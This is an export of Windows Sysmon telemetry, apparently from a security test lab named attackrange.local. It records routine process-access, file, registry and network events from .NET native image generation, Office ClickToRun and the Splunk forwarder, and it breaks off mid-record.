10341000x800000000000000040558Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:01.331{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}1020C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040557Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:01.331{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{00000000-0000-0000-0000-000000000000}1020C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000040556Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:00.956{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040555Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:00.956{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040554Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:00.956{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040553Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:00.956{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040552Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:00.956{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1300-00000000F001}92C:\Windows\System32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000040551Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:00.909{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=0C1A5CB2FEC8EBBAB09FCE0D7D5FB6B4,SHA256=DFB416A5873D440489B83D0958122312A2711C25B6187A25117BFCDBE88317D3,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000040550Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:00.893{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c526|C:\Windows\SYSTEM32\resourcepolicyserver.dll+11927|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000040549Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:00.893{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c526|C:\Windows\SYSTEM32\resourcepolicyserver.dll+11927|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 23542300x800000000000000040548Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:00.878{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BF047D237CAF58B0E17148D64BC2C9B6,SHA256=8FB710EABE2D44B335704A1E39A2B4FDB1FB52A1F87061CFF0D69BFA8ED8B3B4,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000040547Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:00.878{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c526|C:\Windows\SYSTEM32\resourcepolicyserver.dll+11927|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000040546Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:00.878{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c526|C:\Windows\SYSTEM32\resourcepolicyserver.dll+11927|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 11241100x800000000000000040545Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:00.768{7BD73061-6F30-613B-6F08-00000000F001}5648C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_32\Temp\1610-0\Microsoft.Office.Tools.Excel.dll2021-09-10 14:44:00.768 10341000x800000000000000040544Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:00.503{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F30-613B-6F08-00000000F001}5648C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040543Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:00.487{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F30-613B-6F08-00000000F001}5648C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040542Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:00.487{7BD73061-6F29-613B-3408-00000000F001}55565184C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F30-613B-6F08-00000000F001}5648C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d19b(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d23f(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d2bd(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 23542300x800000000000000013792Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:01.890{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=22530CA167B4616D2785CD8AAAE8FB47,SHA256=6211055DF22EF2DC02C291F08D305AE16753ECE9B0E030BADF0493F7B1ECDEF3,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000013795Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:01.408{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50112-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000013794Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:02.890{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=210CE1F7EB3902598E4FA4F9B3D10427,SHA256=F38E91BA1122E20760FA38290A86705BF8A73C6E4184B4742F8E9C343EA360B6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000040567Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:02.034{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=3D03F6EFEA819A5BE2E813C3668BBE73,SHA256=C57B3D88E2E61186167549DC6710146FCA3115270FC8312B4E4FC9B9031EEA02,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000040566Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:01.987{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C14444DC99DB6DFA655A8240F1818C79,SHA256=6A2DF3AC3621F7272B95D2A392423C7BA9C8F9CFC39DB3FB6DF641F0B4EEBE12,IMPHASH=00000000000000000000000000000000falsetrue 11241100x800000000000000040565Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:01.956{7BD73061-6F31-613B-7108-00000000F001}6596C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_32\Temp\19c4-0\Microsoft.Office.Tools.Excel.Implementation.dll2021-09-10 14:44:01.956 13241300x800000000000000040564Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:01.924{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{261B8CA9-3BAF-4BD0-B0C2-BF04286785C6}\InprocServer32\(Default)C:\Program Files\Microsoft Office\Root\Office16\OUTLCTL.DLL 23542300x800000000000000013793Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:02.187{625C326B-67EE-613B-1200-00000000F101}300NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive1.datMD5=F4D1CD1188FFBDD0488218FED6CB3DA9,SHA256=1F4ACEEB13D5DF3A42577C3E7A78645411BDEE6E133EEF7A656EAA81159827A4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013796Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:03.906{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A7C827D270D6A468B222E2F88C2C3B4B,SHA256=2341BB640892194EA9DFF3B15879DFD5BD92479F18278BE05BB9D962FFE1FCC0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000040576Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:03.128{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=894BCDED02CB7875B93D3BD565CB7B8F,SHA256=57B04102588906835E933A9E7FA4193BA0741C3B971D6A2589A2935B1C10D4A1,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000040575Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:44:02.956{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\CLSID\{4D2F086C-6EA3-101B-A18A-00AA00446E07}\InprocServer32\(Default)mapi32.dll 11241100x800000000000000040574Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:02.721{7BD73061-6F32-613B-7308-00000000F001}5124C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_32\Temp\1404-0\Microsoft.Office.Tools.Outlook.dll2021-09-10 14:44:02.721 10341000x800000000000000040573Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:02.628{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F32-613B-7308-00000000F001}5124C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040572Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:02.612{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F32-613B-7308-00000000F001}5124C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000040571Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:02.612{7BD73061-6F29-613B-3408-00000000F001}55565184C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F32-613B-7308-00000000F001}5124C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.